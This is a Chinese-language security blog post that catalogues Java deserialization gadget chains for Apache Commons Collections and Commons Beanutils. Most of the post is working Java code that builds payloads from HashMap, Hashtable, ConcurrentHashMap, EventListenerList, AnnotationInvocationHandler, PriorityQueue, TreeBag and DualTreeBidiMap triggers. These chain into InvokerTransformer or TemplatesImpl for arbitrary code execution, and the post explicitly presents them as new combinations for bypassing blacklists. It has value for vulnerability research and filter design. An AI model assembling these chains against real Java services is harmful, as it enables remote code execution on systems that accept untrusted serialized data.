前言 最近黑神话悟空火热,大家都开启二周目。现在正直网安特殊时间,时间较多,随准备重走一遍反序列取经路,看看有没有新的触发方式,记录一下,方便以后直接使用。
0x01 commons.collections (map.get) 最经典的反序列化gadget,触发点
LazyMap.get 这里LazyMap可以换成DefaultedMap (3.1没有这个类 )
1 2 3 4 LazyMap.get()/TransformedMap.setValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
org.apache.commons.collections.map.DefaultedMap#get
DefaultedMap的value可控,后面大差不差
1 2 3 4 Map decorate = DefaultedMap.decorate(new HashMap (), new ConstantFactory (1 ));Field value = DefaultedMap.class.getDeclaredField("value" ); value.setAccessible(true ); value.set(decorate,chain);
org.apache.commons.collections.keyvalue.TiedMapEntry
也就是TiedMapEntry的equals,hashCode,toString 都能触发到LazyMap.get。那我们只要找到调用到这个三个方法的头就行。
整理一下,目前我手里的 (还藏了几个)
由于在map里面put时,自动会计算hashcode,所以不罗列。
BadAttributeValueExpException触发tostring 1 2 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (new HashMap <>()); setFieldValue(badAttributeValueExpException,"val" ,tiedMapEntry);
HotSwappableTargetSource & XString 触发tostring com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
注意满足强转类型,
1 2 3 4 5 6 7 8 9 10 11 12 13 public static HashMap HotSwappabletostring (Object o1) throws Exception{ Object xstring; HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource (o1); xstring = utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForFSB" ); utils.setFieldValue(xstring, "m_obj" , "1" ); xstring = utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForChars" ); utils.setFieldValue(xstring, "m_obj" , new char [5 ]); xstring = new XString (null ); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource (xstring); HashMap val = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2); return val; }
本质是XString的equals的触发了obj的tostring。那么就用三个来触发了
hashtable触发tostring 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static Hashtable makeTableTstring (Object o) throws Exception{ Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap" ); Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap" ); tHashMap1.put(o,"Unam4" ); tHashMap2.put(o,"SpringKill" ); setFieldValue(tHashMap1,"loadFactor" ,1 ); setFieldValue(tHashMap2,"loadFactor" ,1 ); Hashtable hashtable = new Hashtable (); hashtable.put(tHashMap1,"Unam4" ); hashtable.put(tHashMap2,"SpringKill" ); tHashMap1.put(o, null ); tHashMap2.put(o, null ); return hashtable; }
EventListenerList触发tostring javax.swing.event.EventListenerList#readObject
读入对象,listenerTypeOrNull,然后调用add
然后判断我们控制的类是不是属于name这个类,不属于直接可以字符串拼接,造成obj.tostring。l我们可以控制,来看序列化函数
javax.swing.event.EventListenerList#writeObject
在序列化时,会对list里面对象进行强转,所以要找一个属于EventListener的类。
它有一个属性可控,类型Vector,Vector触发tostring,会对list每个对象都进行tostring,完成触发。
javax.swing.undo.UndoManager#toString
javax.swing.undo.CompoundEdit#toString
java.util.Vector#toString
java.util.AbstractCollection#toString
然后遍历list对象,加入到sb,
java.lang.String#valueOf(java.lang.Object)
直接进行tostring。
调用栈
1 2 3 4 5 6 7 8 9 10 javax.swing.event.EventListenerList.readObject javax.swing.event.EventListenerList.add java.lang.String#valueOf(UndoManager) javax.swing.undo.UndoManager#toString javax.swing.undo.CompoundEdit#toString java.util.Vector#toString java.util.AbstractCollection#toString java.lang.StringBuilder#append java.lang.String#valueOf expobj.toString
还是值得学习一下的。
1 2 3 4 5 EventListenerList list = new EventListenerList ();UndoManager manager = new UndoManager ();Vector vector = (Vector) utils.getFieldValue(manager, "edits" ); vector.add(tiedMapEntry); utils.setFieldValue(list, "listenerList" , new Object [] { Map.class, manager });
hashmap触发tostring 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static HashMap maskmapToString (Object o1, Object o2) throws Exception{ Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap" ); Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap" ); tHashMap1.put(o1,null ); tHashMap2.put(o2,null ); setFieldValue(tHashMap1,"loadFactor" ,1 ); setFieldValue(tHashMap2,"loadFactor" ,1 ); HashMap hashMap = new HashMap (); Class node = Class.forName("java.util.HashMap$Node" ); Constructor constructor = node.getDeclaredConstructor(int .class, Object.class, Object.class, node); constructor.setAccessible(true ); Object node1 = constructor.newInstance(0 , tHashMap1, null , null ); Object node2 = constructor.newInstance(0 , tHashMap2, null , null ); utils.setFieldValue(hashMap, "size" , 2 ); Object arr = Array.newInstance(node, 2 ); Array.set(arr, 0 , node1); Array.set(arr, 1 , node2); utils.setFieldValue(hashMap, "table" , arr); return hashMap; }
HotSwappableTargetSource 触发equals 1 2 3 HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource (node);HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource (new XString (null ));HashMap val = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
说实话,脱裤子放屁
Hashtable触发equals 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static Hashtable makeTable (Object o, Object o2) throws Exception{ Hashtable hashtable = new Hashtable (); utils.setFieldValue(hashtable,"count" ,2 ); Class<?> nodeC; nodeC = Class.forName("java.util.Hashtable$Entry" ); Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , o, "Unam4" , null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , o2, "Springkill" , null )); utils.setFieldValue(hashtable, "table" , tbl); return hashtable; }
HashMap 触发equals 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static HashMap<Object, Object> makeMap (Object o, Object o2) throws Exception { HashMap<Object, Object> s = new HashMap <>(); utils.setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , o, "key1" , null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , o2, "key2" , null )); utils.setFieldValue(s, "table" , tbl); return s; }
ConcurrentHashMap触发equals 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static ConcurrentHashMap<Object, Object> makeConcurrentMap (Object o, Object o2) throws Exception { ConcurrentHashMap<Object, Object> s = new ConcurrentHashMap <>(); utils.setFieldValue(s, "sizeCtl" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , o, "zZ" , null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , o2, "yy" , null )); utils.setFieldValue(s, "table" , tbl); return s; }
AnnotationInvocationHandler触发tostring (jdk<8u20) sun.reflect.annotation.AnnotationInvocationHandler#readObject
可以这个vaule直接和字符拼接,会触发value.tostring。value是memberValues 这个map里的vaule,可控。
1 2 3 4 5 6 HashMap<Object, Object> map1 = new HashMap <>(); map1.put("value" ,tiedMapEntry); Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); Anotationdeclared.setAccessible(true );InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1);
Flat3Map触发hashcode org.apache.commons.collections.map.Flat3Map#readObject
可以看到和hashmap一样,所有都能用。
最后将上面source,flow,sink 一一组合就可以得到一些新gadget。
1 2 3 4 5 6 7 8 9 10 11 12 Map s= (Map) new Flat3Map (); Class<?> nodeB; nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry" ); HashedMap hashedMap = new HashedMap (); Constructor<?> nodeCons = nodeB.getDeclaredConstructor(nodeB,int .class, Object.class, Object.class); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeB, 1 ); Array.set(tbl, 0 , nodeCons.newInstance(null ,0 , tiedMapEntry, tiedMapEntry)); utils.setFieldValue(hashedMap, "data" , tbl); utils.setFieldValue(hashedMap, "size" , 1 ); utils.setFieldValue(s,"delegateMap" ,hashedMap);
AnnotationInvocationHandle触发map.get sun.reflect.annotation.AnnotationInvocationHandler#invoke
memberValues可控,map类型.
1 2 3 4 5 6 7 Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); Anotationdeclared.setAccessible(true ); InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, lazymap/DefaultedMap);Map Mapproxy = (Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class []{Map.class}, h);Object instance = Anotationdeclared.newInstance(Override.class, Mapproxy);
1 2 3 4 5 TransformingComparator.compare() ChainedTransformer.transform() InvokerTransformer.transform() InstantiateTransformer.transform() TemplatesImpl.newTransformer()
org.apache.commons.collections.comparators.TransformingComparator#compare
transform这个属性可控。所以需要调用compare
目前本人收集的
PriorityQueue触发compare 1 2 3 4 5 PriorityQueue queue = new PriorityQueue (1 ); utils.setFieldValue(queue, "size" , 2 ); utils.setFieldValue(queue, "comparator" , Tcomparator); utils.setFieldValue(queue, "queue" , new Object []{Runtime.class,1 });
TreeBag触发compare org.apache.commons.collections.bag.TreeBag#readObject
这里map改为TreeMap类型
java.util.TreeMap#put
java.util.TreeMap#compare
compare属性可控
1 2 3 TreeBag treeBag = new TreeBag (comparator); treeBag.add(Runtime.class);
以上任意组合,就可以得到新gadget。这个点也可以走到cb的gadget(一般cc、cb都有的情况.绕黑名单)。
hashmap触发compare 1 java.util.AbstractMap#equals
具体可以操作这个类,具体流程可以看看我这篇文章
https://unam4.github.io/2024/06/03/%E6%96%B0jdk%E5%8E%9F%E7%94%9F%E5%85%A5%E5%8F%A3%E5%88%B0jndi/
java.util.TreeMap#get
comparator可控,k可控,也就是改成cc4,TransformingComparator或者cb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public static HashMap<Object, Object>hashmap2compare(Comparator o1, Object o2) throws Exception { TreeMap treeMap1 = new TreeMap (o1); treeMap1.put(o2, 1 ); TreeMap treeMap2 = new TreeMap (o1); treeMap2.put(o2,1 ); HashMap<Object, Object> s = new HashMap <>(); utils.setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , treeMap1, "key1" , null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , treeMap2, "key2" , null )); utils.setFieldValue(s, "table" , tbl); return s; }
Hashtable 触发compare 不多说,hashmap可以,那么其他map也行,上科技。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static Hashtable<Object, Object>table2compare(Comparator o1, Object o2) throws Exception { TreeMap treeMap1 = new TreeMap (o1); treeMap1.put(o2, 1 ); TreeMap treeMap2 = new TreeMap (o1); treeMap2.put(o2,1 ); Hashtable hashtable = new Hashtable (); utils.setFieldValue(hashtable,"count" ,2 ); Class<?> nodeC; nodeC = Class.forName("java.util.Hashtable$Entry" ); Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , treeMap1, "Unam4" , null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , treeMap2, "Springkill" , null )); utils.setFieldValue(hashtable, "table" , tbl); return hashtable; }
ConcurrentHashMap触发compare 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public static ConcurrentHashMap<Object, Object> ConcurrentMap2cpmpare (Comparator o1, Object o2) throws Exception { TreeMap treeMap1 = new TreeMap (o1); treeMap1.put(o2, 1 ); TreeMap treeMap2 = new TreeMap (o1); treeMap2.put(o2,1 ); ConcurrentHashMap<Object, Object> s = new ConcurrentHashMap <>(); utils.setFieldValue(s, "sizeCtl" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , treeMap1, "unam4" , null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , treeMap2, "springkill" , null )); utils.setFieldValue(s, "table" , tbl); return s; }
AnnotationInvocationHandler触发compare (jdk<8u20) 没什么好说的,动态代理结合treemap触发compare
sun.reflect.annotation.AnnotationInvocationHandler#readObject
值得注意的是,memberValues 是map的key是string类型,也就是无法用来触发cb
1 2 3 4 5 6 7 8 9 10 public static Object annotationhander2compare (Map o) throws Exception { Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); Anotationdeclared.setAccessible(true ); InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, o); Map Mapproxy = (Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class []{Map.class}, h); Object o1 = Anotationdeclared.newInstance(Override.class, Mapproxy); return o1; }
对应cc4的调用
1 2 3 4 5 6 7 8 9 10 11 Exception in thread "main" org.apache.commons.collections4.FunctorException: InstantiateTransformer: Constructor threw an exception at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:124 ) at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32 ) at org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112 ) at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81 ) at java.util.TreeMap.getEntryUsingComparator(TreeMap.java:376 ) at java.util.TreeMap.getEntry(TreeMap.java:345 ) at java.util.TreeMap.get(TreeMap.java:278 ) at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77 ) at com.sun.proxy.$Proxy1.entrySet(Unknown Source) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444 )
DualTreeBidiMapr触发compare org.apache.commons.collections.bidimap.DualTreeBidiMap#readObject
对treep赋值
父类的map是一个map数组。
然后它会map中所有的键值对,然后得到一个迭代器,进行遍历put进treemap。
然后进行compare,后面没什么好说的,用cb时,把这个key,vaule 改成对应要触发getter的对象就行。
1 2 3 4 5 6 7 8 9 10 public static DualTreeBidiMap dualTreeBidiMap2compare (Comparator o1, Object o2) throws Exception { DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap (); Map[] mapArray = new HashMap [1 ]; mapArray[0 ] = new HashMap (); mapArray[0 ].put(o2, o2); utils.setFieldValue(dualTreeBidiMap, "comparator" , o1); utils.setFieldValue(dualTreeBidiMap, "maps" , mapArray); return dualTreeBidiMap; }
org.apache.commons.collections.functors.InstantiateTransformer#transform
鸡肋,只能进行构造函数的实例化。
目前公开也就TrAXFilter.TrAXFilter()
1 2 3 InstantiateTransformer.transform () TrAXFilter.TrAXFilter () TemplatesImpl.newTransformer ()
所以我们只要把前面map.get 触发value.transform改成InstantiateTransformer就完事了
没什么好说的,配合ConstantTransformer,ChainedTransformer可以调用任意类任意方法。
可惜setValue里面不可控,组装起来不怎么顺畅。(不能直接InstantiateTransformer,InvokerTransformer)
TransformedMap父类AbstractInputCheckedMapDecorator.MapEntry#setValue/EntrySet
对parent完成赋值
最后完成触发。
0x06 总结 主要就是找到相应的出发点,然后找新的出发点。然后可以结合ChainedTransformer调用InvokerTransformer 访问任意类任意方法 或者 InstantiateTransformer结合TrAXFilter 调用templateimpl 。
0x07 补充lazymap/DefaultedMap.get 由于org.apache.commons.collections.map.LazyMap#get/org.apache.commons.collections.map.DefaultedMap#get会调用任意Transformer类的transform方法,所以我们给几条触发get的方法,
AnnotationInvocationHandle触发map.get (<=8u20) sun.reflect.annotation.AnnotationInvocationHandler#invoke
memberValues可控,map类型. 可以触发.但是由于memberValues限制了private final Map<String, Object> memberValues;
1 2 3 4 5 6 7 Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); Anotationdeclared.setAccessible(true );InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, memberValues);Map Mapproxy = (Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class []{Map.class}, h);Object instance = Anotationdeclared.newInstance(Override.class, Mapproxy);
java.util.AbstractMap#equals触发lazymap/DefaultedMap.get (m只能为map类型) java.util.AbstractMap#equals
他是个抽象类。
也就是这里我们可以直接改为lazymap/DefaultedMap, 然后他们进而触发Transformer.transform完成链式调用。
1 2 3 4 5 get:185 , DefaultedMap (org.apache.commons.collections.map ) equals:495 , AbstractMap (java.util) equals:130 , AbstractMapDecorator (org.apache.commons.collections.map ) reconstitutionPut:1262 , Hashtable (java.util) readObject:1218 , Hashtable (java.util)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Map decorate = DefaultedMap.decorate(new HashMap (), chain);Map decorate2 = DefaultedMap.decorate(new HashMap (), chain); decorate.put("zZ" ,1 ); decorate2.put("yy" ,1 );Hashtable hashtable = new Hashtable (); utils.setFieldValue(hashtable,"count" ,2 ); Class<?> nodeE; nodeE = Class.forName("java.util.Hashtable$Entry" ); Constructor<?> nodeEons = nodeE.getDeclaredConstructor(int .class, Object.class, Object.class, nodeE); nodeEons.setAccessible(true );Object tbl = Array.newInstance(nodeE, 2 ); Array.set(tbl, 0 , nodeEons.newInstance(0 , decorate, "Unam4" , null )); Array.set(tbl, 1 , nodeEons.newInstance(0 , decorate2, "Springkill" , null )); utils.setFieldValue(hashtable, "table" , tbl);
1 2 3 4 5 get:185 , LazyMap (org.apache.commons.collections.map) equals:495 , AbstractMap (java.util) equals:130 , AbstractMapDecorator (org.apache.commons.collections.map) reconstitutionPut:1262 , Hashtable (java.util) readObject:1218 , Hashtable (java.util)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Map lazyMap1 = LazyMap.decorate( new HashMap (), chain); lazyMap1.put("yy" , 1 );Map lazyMap2 = LazyMap.decorate( new HashMap (), chain); lazyMap2.put("zZ" , 1 );Hashtable hashtable = new Hashtable (); utils.setFieldValue(hashtable,"count" ,2 ); Class<?> nodeE; nodeE = Class.forName("java.util.Hashtable$Entry" ); Constructor<?> nodeEons = nodeE.getDeclaredConstructor(int .class, Object.class, Object.class, nodeE); nodeEons.setAccessible(true );Object tbl = Array.newInstance(nodeE, 2 ); Array.set(tbl, 0 , nodeEons.newInstance(0 , lazyMap1, "Unam4" , null )); Array.set(tbl, 1 , nodeEons.newInstance(0 , lazyMap2, "Springkill" , null )); utils.setFieldValue(hashtable, "table" , tbl);
也就是hashmap、hashtable、HotSwappableTargetSource、ConcurrentHashMap 等都行。